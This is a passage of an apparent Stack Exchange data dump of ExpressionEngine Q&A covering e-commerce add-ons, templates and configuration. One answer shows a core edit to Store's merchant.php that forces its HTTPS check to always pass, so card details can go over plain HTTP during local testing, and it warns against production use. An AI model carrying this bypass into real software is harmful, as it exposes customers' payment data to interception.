  <row Id="6436" PostTypeId="2" ParentId="6431" CreationDate="2013-02-15T22:22:03.293" Score="6" Body="&lt;p&gt;If you have any offsite gateways, it's very possible that a user clicks to go offsite ( to complete the transaction) and then cancels, or clicks the back button. And then submits the order again. Basically the first order was generated, but not completed… so it's processing. And it's never going to finish processing. Generally speaking, you should consider processing orders that are older than your session expiration time as non explicitly canceled by the user. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each time a checkout form is submitted, there's a record of that. If it goes through, it completes… if it doesn't, internally it's marked as declined, failed, or processing, canceled, refunded, etc. If you have statuses mapped to these things, when something outside the system notifies it of a change, the EE status will change. In the case of a processing order… the customer basically started the transaction and then just abandoned it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Typically all offsite transactions start their life as a processing order… when the offsite system completes the order, then it updates their status. If the customer doesn't finish the transaction offsite, and doesn't use any of the methods that might trigger an official cancellation, it just sits as processing forever. &lt;/p&gt;&#xA;" OwnerUserId="556" LastActivityDate="2013-02-15T22:22:03.293" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6437" PostTypeId="2" ParentId="6327" CreationDate="2013-02-15T22:28:40.353" Score="0" Body="&lt;p&gt;No changes were made to SIM between 2.2.2 and 2.2.9x. ExpressionEngine updated their secure forms system recently in version 2.5.5 which has wreaked some havoc with items that redirect. 2.2.9 &lt;em&gt;should&lt;/em&gt; have fixed this, but I haven't tested with this specific gateway. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though you said you've maintained the system folder location in extload, I'd double check it to make sure you haven't overwritten it with the old location. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other thing you may want to check is that the response / receipt URL is devoid of Javascript and insecure includes (including css files, images, etc). SIM generally fails templates that contain insecurely loaded content and JS. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, if you have a return variable in the checkout form, make sure it's just set to something like this: return=&quot;template_group/template&quot; rather than a full URL. Some servers may end up choking when generating return locations if they're input as full URLs. &lt;/p&gt;&#xA;" OwnerUserId="556" LastActivityDate="2013-02-15T22:28:40.353" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6438" PostTypeId="2" ParentId="6313" CreationDate="2013-02-15T22:32:07.217" Score="0" Body="&lt;p&gt;You could do this with an embed using the &lt;a href=&quot;http://www.solspace.com/docs/freeform/form#paging_url&quot; rel=&quot;nofollow&quot;&gt;paging_url&lt;/a&gt; and &lt;a href=&quot;http://www.solspace.com/docs/freeform/form#multipage_page&quot; rel=&quot;nofollow&quot;&gt;multipage_page&lt;/a&gt; parameters and force multipage to always be on page one in the footer, but also force submit to go to the segments of your choosing for page 2 after filling it out in the footer. Notifications do not send until a multipage form is complete.&lt;/p&gt;&#xA;" OwnerDisplayName="user550" LastActivityDate="2013-02-15T22:32:07.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6439" PostTypeId="2" ParentId="6435" CreationDate="2013-02-15T22:32:09.247" Score="3" Body="&lt;p&gt;You'll need to go into the CP in Admin &gt; System Preferences &gt; Output and Debugging and set &quot;Force Query Strings&quot; to yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that still doesn't work, please open up your primary index.php (root of your site) and change qtype to 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do either of those fix it up?&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-02-15T22:32:09.247" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6440" PostTypeId="2" ParentId="233" CreationDate="2013-02-15T22:35:11.550" Score="5" Body="&lt;p&gt;Discounts are cumulative, where by default Coupons are not. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;HOWEVER, You can also change a hidden configuration variable to allow multiple coupon code usage. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;in cartthrob/config/config.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change: &#xA;    'global_coupon_limit' =&gt; '1',&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To whatever number you want. &lt;/p&gt;&#xA;" OwnerUserId="556" LastActivityDate="2013-02-15T22:35:11.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6441" PostTypeId="2" ParentId="6379" CreationDate="2013-02-15T22:37:19.117" Score="0" Body="&lt;p&gt;user809 - I think you're trying to restrict who can view entries on the front-end.  Have you tried something like &lt;a href=&quot;http://devot-ee.com/add-ons/entry-access&quot; rel=&quot;nofollow&quot;&gt;Entry Access&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-02-15T22:37:19.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6442" PostTypeId="2" ParentId="5716" CreationDate="2013-02-15T23:48:07.340" Score="1" Body="&lt;p&gt;From MightyBigRobot Support:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Recently EE updated its secure forms systems, to use a completely&#xA;  different method.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Profile:Edit has been updated to 1.0.9 which addresses this problem.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Unfortunately they haven't updated the software version on Devot:ee yet.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2013-02-15T23:48:07.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6443" PostTypeId="1" CreationDate="2013-02-16T00:02:07.500" Score="0" ViewCount="151" Body="&lt;p&gt;I have loaded the Champagne 2 (Mighty Big Robot - no support) Module to EE and when I try and use it I just get a bunch of PHP errors listed below. Looks like it might be some sort of conflict. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;David &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other info:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;PHP Version 5.2.6&lt;/li&gt;&#xA;&lt;li&gt;Apache 2.0 &lt;/li&gt;&#xA;&lt;li&gt;MySQL 5.0.77&lt;/li&gt;&#xA;&lt;li&gt;EE 2.5.3&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Other add-ons (all up to date):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Freeform&lt;/li&gt;&#xA;&lt;li&gt;Matrix&lt;/li&gt;&#xA;&lt;li&gt;Mountee&lt;/li&gt;&#xA;&lt;li&gt;Playa&lt;/li&gt;&#xA;&lt;li&gt;Video player&lt;/li&gt;&#xA;&lt;li&gt;Wygwam&lt;/li&gt;&#xA;&lt;li&gt;Zenbu&lt;/li&gt;&#xA;&lt;li&gt;devotee monitor&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Error messages:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Constant SERVICES_JSON_SLICE already defined&#xA;Filename: class/services_json.php&#xA;Line Number: 61&#xA;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Constant SERVICES_JSON_IN_STR already defined&#xA;Filename: class/services_json.php&#xA;Line Number: 66&#xA;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Constant SERVICES_JSON_IN_ARR already defined&#xA;Filename: class/services_json.php&#xA;Line Number: 71&#xA;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Constant SERVICES_JSON_IN_OBJ already defined&#xA;Filename: class/services_json.php&#xA;Line Number: 76&#xA;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Constant SERVICES_JSON_IN_CMT already defined&#xA;Filename: class/services_json.php&#xA;Line Number: 81&#xA;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Constant SERVICES_JSON_LOOSE_TYPE already defined&#xA;Filename: class/services_json.php&#xA;Line Number: 86&#xA;&#xA;Fatal error: Cannot redeclare class Services_JSON in /expressionengine/third_party/champagne/lib/cm_v3_api/class/services_json.php on line 115&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="666" LastEditorUserId="77" LastEditDate="2013-02-20T10:24:47.377" LastActivityDate="2013-02-20T10:24:47.377" Title="A PHP Error using Champagne 2 Module" Tags="|add-on|module|php|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6444" PostTypeId="1" CreationDate="2013-02-16T00:50:19.467" Score="2" ViewCount="530" Body="&lt;p&gt;I am trying to checkout with the Dummy Payment Gateway in Store.  It will not let me do this.  The error message says &quot;Card details must be submitted over a secure connection.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have Expression Engine (2.5.5) installed on my local server WAMPserver(2.2) and am using Expresso Store(1.6.2).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure of what direction to go with fixing this.  I want to simply checkout with the dummy information and get a successful payment page for testing purposes.  I want all this to be done locally.  I've read some very technical tutorials on enabling SSL in WAMPserver, that is if that is the answer to making this work.  I'm hoping there is an easier solution than that.  I am very open to the best way to solve this.  When live, I will be using PayPal to process payments.  I guess my last option would be to create a Paypal Sandbox account for testing purposes.  In this scenario, I'm assuming the order would leave my site and wouldn't have to be encrypted since the billing information will only be processed on Paypal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions, help, or ideas are greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shannon&lt;/p&gt;&#xA;" OwnerUserId="1022" LastEditorUserId="268" LastEditDate="2013-02-20T02:15:51.183" LastActivityDate="2013-02-26T21:39:49.910" Title="Expresso Store: &quot;Card details must be submitted over a secure connection&quot; error" Tags="|add-on|expresso-store|ssl|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6446" PostTypeId="2" ParentId="6444" CreationDate="2013-02-16T03:25:57.313" Score="3" Body="&lt;p&gt;This is a hard coded requirement in Store. We do not allow credit card details to be submitted over an unsecure (HTTP) connection, period. If we had a setting to disable this, it would be far too easy to forget to re-enable it when you move to production (or every time you push to production if you're using multiple environments). Then aside from breaking the Payment Card Industry requirements, you run the risk of your customers' credit card details being stolen by the person sitting next to them in a cafe, or worse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are going to be using SSL in production, you should set up your development environment with SSL as well. This means your development environment is as close to production as possible, and it also means you can test things like your htaccess redirects between HTTP and HTTPS pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are going to be using PayPal Express (or another off-site payment gateway) when you go live, then you will not be submitting credit card details directly to your site, so there is no need to test with the Dummy gateway. You should take a look at the Manual payment gateway which will simply authorize every transaction without requiring card details (it's normally used for check/bank transfer payments, but it's also good for testing your checkout process sans payment).&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-02-16T03:25:57.313" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6449" PostTypeId="1" AcceptedAnswerId="6467" CreationDate="2013-02-16T13:45:42.820" Score="0" ViewCount="193" Body="&lt;p&gt;I am following instructions given &lt;a href=&quot;https://github.com/adrianmacneil/cidoc&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get the following error when entering $ git submodule add git@github.com:adrianmacneil/cidoc.git user_guide_src/_themes/cidoc in the terminal:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;fatal: Not a git repository (or any of the parent directories): .git&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help?&lt;/p&gt;&#xA;" OwnerUserId="114" LastActivityDate="2013-02-18T02:38:43.963" Title="Adding Cidoc Sphinx theme to my documentation" Tags="|git|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6451" PostTypeId="1" AcceptedAnswerId="6452" CreationDate="2013-02-16T17:16:28.830" Score="5" ViewCount="115" Body="&lt;p&gt;All,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to display the next &lt;em&gt;n&lt;/em&gt; future entries for a channel. The query I'm using is posted below, but I've realized that since I limit the entries in the channel entries query, the &lt;em&gt;if&lt;/em&gt; statement applies to the limited group of five entries. Rather than producing the next five entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, I'm looking for a query that will:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Pull the entries for a channel&lt;/li&gt;&#xA;&lt;li&gt;Determine whether or not the entry occurs in the future&lt;/li&gt;&#xA;&lt;li&gt;Display the next five upcoming entries.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I am working on someone else's site without FTP access to load a plugin, so I'm hoping to do this within the template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;  channel=&quot;blocks&quot; &#xA;  show_future_entries=&quot;yes&quot; &#xA;  dynamic=&quot;on&quot; &#xA;  orderby=&quot;entry_date&quot; &#xA;  sort=&quot;asc&quot; &#xA;  disable=&quot;pagination|member_data|trackbacks&quot; &#xA;  limit=&quot;5&quot;}&#xA;     {if entry_date &amp;gt; current_time}&#xA;       &amp;lt;li&amp;gt;&#xA;         {entry_date format=&quot;%l at %g:%i %a&quot;}: &#xA;         {block-venue}&#xA;           {block-events show_future_entries=&quot;yes&quot;}&#xA;             &amp;lt;a href=&quot;{path='events/{url_title}'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;           {/block-films-events}&#xA;       &amp;lt;/li&amp;gt;&#xA;     {/if}&#xA;     {if no_results}&amp;lt;li&amp;gt;See you next year!&amp;lt;/li&amp;gt;{/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any help you can provide!&lt;/p&gt;&#xA;" OwnerUserId="1025" LastActivityDate="2013-02-16T17:45:52.723" Title="How do I display the next n future entries?" Tags="|channel-entries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6452" PostTypeId="2" ParentId="6451" CreationDate="2013-02-16T17:45:52.723" Score="4" Body="&lt;p&gt;Would simple adding of &lt;code&gt;start_on&lt;/code&gt; parameter help you?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; start_on=&quot;{current_time format='%Y-%m-%d %H:%i'}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-02-16T17:45:52.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6453" PostTypeId="2" ParentId="2103" CreationDate="2013-02-16T20:01:31.020" Score="1" Body="&lt;p&gt;PHP has four values when it evaluates an if condition, true, truthy, false, and falsey.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.phabricator.com/docs/phabricator/article/PHP_Pitfalls.html&quot; rel=&quot;nofollow&quot;&gt;http://www.phabricator.com/docs/phabricator/article/PHP_Pitfalls.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on what you're getting back from your add-on, or the add-on's datasource (especially if the data from the source is inconsistent) PHP's conditional logic may act strange if you don't check the value explicitly (ex: STYLE != '').&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also since it sounds like you'll be checking for empty strings. I might take an additional step and fashion your IF statements like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{STYLE}&quot; != &quot;&quot;}&#xA;   ...&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will ensure that &quot;STYLE&quot; is always interpreted as a string rather than being evaluated as an object or PHP reserved value&lt;/p&gt;&#xA;" OwnerUserId="71" LastActivityDate="2013-02-16T20:01:31.020" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6454" PostTypeId="2" ParentId="6363" CreationDate="2013-02-16T20:13:06.810" Score="3" Body="&lt;p&gt;Each field type stores it's data differently, some custom add-ons will create one or more extra tables to store fieldtype data for entries. For instance, Matrix will create a table: exp_matrix_cols and exp_matrix_data to store column settings and data that will populate those columns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Relationships (I'm assuming you're talking about stock EE) are in the exp_relationships table and the data stored in the rel_data column is actually a serialized channel entry object (yuck).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Playa in contrast, uses an association table that will link entries to other entries in a table called exp_playa_relationships.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I know, there's no easy API to get a complete entry and all of its custom field data. So you'll have to target in advance the field types you want to support and investigate how each field type stores the data. Then your add-on logic will have to detect the fieldtype and run custom logic to pull the data specific to the field type.&lt;/p&gt;&#xA;" OwnerUserId="71" LastActivityDate="2013-02-16T20:13:06.810" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6455" PostTypeId="2" ParentId="6444" CreationDate="2013-02-16T20:18:50.297" Score="2" Body="&lt;p&gt;Let me start off by saying I fully support not allowing even test transactions with an on-site gateway (even the dummy gateway) to be processed over HTTP as it is a security risk to you and your customers if you forgot to enable HTTPS/SSL before the site goes live. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are on a local environment and you can not enable HTTPS for various reasons there is an option that you can do but it requires a core hack to Store and should never be done on a live site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you open up store/ci-merchant/libraries/merchant.php you can scroll down to about line 624 where you should see the following code block:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Returns TRUE if the current request was made using HTTPS&#xA; */&#xA;protected function secure_request()&#xA;{&#xA;    if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) AND $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https')&#xA;    {&#xA;        return TRUE;&#xA;    }&#xA;    if (empty($_SERVER['HTTPS']) OR strtolower($_SERVER['HTTPS']) == 'off')&#xA;    {&#xA;        return FALSE;&#xA;    }&#xA;&#xA;    return TRUE;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The conditional on line 633:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;if (empty($_SERVER['HTTPS']) OR strtolower($_SERVER['HTTPS']) == 'off')&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is returning FALSE causing the error to be shown if you modify the code block to the following you should be able to checkout over HTTP:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Returns TRUE if the current request was made using HTTPS&#xA; */&#xA;protected function secure_request()&#xA;{&#xA;    if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) AND $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https')&#xA;    {&#xA;        return TRUE;&#xA;    }&#xA;    if (empty($_SERVER['HTTPS']) OR strtolower($_SERVER['HTTPS']) == 'off')&#xA;    {&#xA;     // return FALSE;&#xA;        return TRUE;&#xA;    }&#xA;&#xA;    return TRUE;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Again I can not express how important it is that you do not do this on a production site and that if you do it on your local machine that you revert back to the original before you upload it to a public server. &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-02-16T20:18:50.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6456" PostTypeId="1" CreationDate="2013-02-16T23:12:58.567" Score="1" ViewCount="58" Body="&lt;p&gt;I wish to display images from channel entries and if they have been created/edited within the last 14 days I want to add another image on top.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be the logic for detecting whether the entry was new or not?&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2013-02-17T02:35:49.943" Title="If recently added/edited" Tags="|channel-entries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6457" PostTypeId="2" ParentId="6456" CreationDate="2013-02-17T02:35:49.943" Score="1" Body="&lt;p&gt;You'd want to use the display limit functions in ExpressionEngine's channel entries tag. Like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;images&quot; display_by=&quot;day&quot; limit=&quot;14&quot; orderby=&quot;edit_date&quot;}&#xA;  &amp;lt;div class=&quot;display&quot;&amp;gt;{image}&amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can learn more about using the &lt;code&gt;display_by&lt;/code&gt; parameter using options other than the standard &lt;code&gt;display_by=&quot;number&quot;&lt;/code&gt; in the &lt;strong&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#display-by&quot; rel=&quot;nofollow&quot;&gt;User Guide&lt;/strong&gt; &lt;em&gt;Channel Entries Tag&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if you want to include &lt;strong&gt;both&lt;/strong&gt; edit and entry dates, then using &lt;code&gt;order_by&lt;/code&gt; edit date will probably work best, since new entries should have the same entry and edit date, while edited entries will just have the most recent edit date. Otherwise the standard option is &lt;code&gt;order_by=&quot;entry_date&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-02-17T02:35:49.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6458" PostTypeId="2" ParentId="6139" CreationDate="2013-02-17T04:02:43.040" Score="0" Body="&lt;p&gt;FWIW, I have a similar setup that is working correctly, but it's on a 2.5.2 install. Code is identical to yours - is it possible there's a js conflict?&lt;/p&gt;&#xA;" OwnerUserId="367" LastActivityDate="2013-02-17T04:02:43.040" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6459" PostTypeId="1" AcceptedAnswerId="6462" CreationDate="2013-02-17T15:02:36.587" Score="1" ViewCount="102" Body="&lt;p&gt;I'm sure i have selected the perfect title for this however, if someone can come up with a better title, feel free to edit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, I am having a slight issue integrating a combination of functions using P&amp;amp;T switch. I am currently using the Jquery plugin &lt;a href=&quot;http://www.fancyapps.com/fancybox/&quot; rel=&quot;nofollow noreferrer&quot;&gt;fancybox&lt;/a&gt; for my gallery [Click here][2] when you click on the image it meant to open a pop window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using P&amp;amp;T switch as the gallery will feature both images and videos, In the expression control panel have created variables that look like the following&lt;img src=&quot;https://i.stack.imgur.com/kRzAh.png&quot; alt=&quot;click here&quot;&gt; This will enable the user to select a video or image, The video will navigate to the template {'pop/video'} and the images will navigate to {'pop/video-pop'}. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order for me to a achieve this i have attempted to apply the following code to my gallery, however it's not working &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;am-container&quot; id=&quot;am-container&quot;&amp;gt;&#xA;        {exp:low_reorder:entries set=&quot;gallery_set&quot; channel=&quot;gallery&quot; disable=&quot;pagination|member_data|trackbacks&quot;}&#xA;            &amp;lt;a class=&quot;various&quot; href=&quot;{if video_switch == &quot;image&quot;}{path='pop/index/{url_title}'}{/if}{if video_switch == &quot;video&quot;}{path='pop/video-pop/{url_title}'}{/if}&quot;&amp;gt;&#xA;            &amp;lt;img onmouseover=&quot;removeFilter(this)&quot; onmouseout=&quot;addFilter(this)&quot; src=&quot;{g_image}&quot; alt=&quot;{url_title}&quot; class=&quot;filter&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;        {/exp:low_reorder:entries}&#xA;        &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can someone please guide me in the right direction..?&lt;/p&gt;&#xA;" OwnerUserId="459" LastEditorUserId="459" LastEditDate="2013-02-21T16:06:56.437" LastActivityDate="2013-02-21T16:06:56.437" Title="P&amp;T switch in with lightbox integration issue" Tags="|channel-entries|templates|custom-fields|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6460" PostTypeId="2" ParentId="5472" CreationDate="2013-02-17T15:27:00.460" Score="1" Body="&lt;p&gt;the link you provided doesn't seem to be working anymore, getting just blank page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solspace calendar will pad weeks at the beginning and ending of the month, this is used to support a standard grid calendar layout. If you're using the cal tag for displaying a list you might want to pass in this parameter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pad_short_weeks=&quot;n&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will eliminate the padding and could prevent some weird display issues &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the documentation for reference &lt;a href=&quot;http://www.solspace.com/docs/calendar/calendar/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/calendar/calendar/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="71" LastActivityDate="2013-02-17T15:27:00.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6461" PostTypeId="2" ParentId="6214" CreationDate="2013-02-17T15:42:52.243" Score="1" Body="&lt;p&gt;Sounds like you're missing a language pack, looks like there's one for Dutch&#xA;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/general/languages.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/general/languages.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also try copying the upload_lang.php file from another langauge directory and modify it to translate the text to Dutch. But I would try the lang packs first.&lt;/p&gt;&#xA;" OwnerUserId="71" LastActivityDate="2013-02-17T15:42:52.243" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6462" PostTypeId="2" ParentId="6459" CreationDate="2013-02-17T15:48:11.107" Score="2" Body="&lt;p&gt;I've looked at your link and can't see from looking at the front-end what would be the issue. What always helps for me is adding &quot;debug&quot; info to my HTML. You could for example try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_reorder:entries set='gallery'}&#xA;    &amp;lt;!-- {video_switch} --&amp;gt;&#xA;{/exp:low_reorder:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To output the value of this field for your entries. If the output is what you expect it, you could test further like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_reorder:entries set='gallery'}&#xA;    {if '{video_switch}' == 'image'}&#xA;        &amp;lt;!-- this must be an image --&amp;gt;&#xA;    {/if}&#xA;    {if '{video_switch}' == 'video'}&#xA;        &amp;lt;!-- this ought to be a video --&amp;gt;&#xA;    {/if}&#xA;{/exp:low_reorder:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It might be a typo or something. If you need further assistance set up a page that has code along these lines and please share the code and the url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="195" LastActivityDate="2013-02-17T15:48:11.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6463" PostTypeId="2" ParentId="6434" CreationDate="2013-02-17T18:57:44.837" Score="1" Body="&lt;p&gt;OK, not sure based on the comments whether or not this was the actual reason it was solved, but when I enabled the &quot;field pack&quot; it then started showing. I already had the P&amp;amp;T checkboxes field enabled, and with just that, nothing was showing on the front end. Enabled the field pack, and all good.&lt;/p&gt;&#xA;" OwnerUserId="542" LastActivityDate="2013-02-17T18:57:44.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6464" PostTypeId="1" AcceptedAnswerId="6526" CreationDate="2013-02-17T22:05:45.497" Score="2" ViewCount="135" Body="&lt;p&gt;When an order is complete, and a new entry has been created within the ‘Purchased Items’ channel, does the &lt;code&gt;entry_submission_end&lt;/code&gt; EE hook fire? I need to process some data as orders are completed with the data held within this channel.&lt;/p&gt;&#xA;" OwnerUserId="1029" LastEditorUserId="150" LastEditDate="2013-02-18T11:25:40.813" LastActivityDate="2013-02-19T15:45:50.723" Title="Cartthrob: Does the Purchased Items channel call ‘entry_submission_end’ EE hook?" Tags="|cartthrob|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6465" PostTypeId="1" AcceptedAnswerId="6503" CreationDate="2013-02-17T23:08:57.170" Score="1" ViewCount="107" Body="&lt;p&gt;When I start typing to filter entries in the Playa drop pane my list of entries is being replaced by my homepage template. There are no javascript errors. What could cause this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Playa 4.3.3 on EE 2.5.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: As suggested by Jérôme below, removing this from my .htaccess fixes the issue:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond $1 !\.(gif|jpe?g|png|pdf|js|css)$ [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I deal with this?&lt;/p&gt;&#xA;" OwnerUserId="763" LastEditorUserId="763" LastEditDate="2013-02-19T00:18:37.547" LastActivityDate="2013-11-01T12:00:04.650" Title="Filtering Playa entries in the drop panes loads site index template" Tags="|playa|" AnswerCount="2" CommentCount="3" 